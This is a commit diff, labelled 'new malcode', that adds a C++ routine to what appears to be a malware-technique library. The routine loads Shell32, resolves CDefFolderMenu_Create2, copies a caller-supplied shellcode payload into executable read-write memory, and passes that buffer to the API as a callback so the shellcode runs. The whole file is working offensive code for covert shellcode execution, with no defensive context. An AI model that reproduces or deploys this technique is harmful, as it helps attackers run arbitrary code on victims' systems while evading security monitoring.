new malcode

+

VX-API/ShellcodeExecViaCDefFolderMenu_Create2.cpp

@@ -0,0 +1,46 @@
+#include "Win32Helper.h"
+
+DWORD UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2(LPVOID Param)
+{
+	PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
+	CDEFFOLDERMENU_CREATE2 CDefFolderMenu_Create2 = NULL;
+	LPVOID BinAddress = NULL;
+	HMODULE hModule = NULL;
+	BOOL bFlag = FALSE;
+	PVOID ContextMenuRequired = NULL;
+
+	hModule = TryLoadDllMultiMethodW((PWCHAR)L"Shell32.dll");
+	if (!hModule)
+		goto EXIT_ROUTINE;
+
+	CDefFolderMenu_Create2 = (CDEFFOLDERMENU_CREATE2)GetProcAddressA((DWORD64)hModule, "CDefFolderMenu_Create2");
+	if (!CDefFolderMenu_Create2)
+		goto EXIT_ROUTINE;
+
+	BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (BinAddress == NULL)
+		goto EXIT_ROUTINE;
+
+	CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
+
+	if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, BinAddress, 0, NULL, &ContextMenuRequired)))
+		goto EXIT_ROUTINE;
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hModule)
+		FreeLibrary(hModule);
+
+	if (BinAddress)
+		VirtualFree(BinAddress, 0, MEM_RELEASE);
+
+	return (bFlag ? 0 : 0xffffffff);
+}
+
+
+BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
+{
+	return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2, Sei, INFINITE);
+}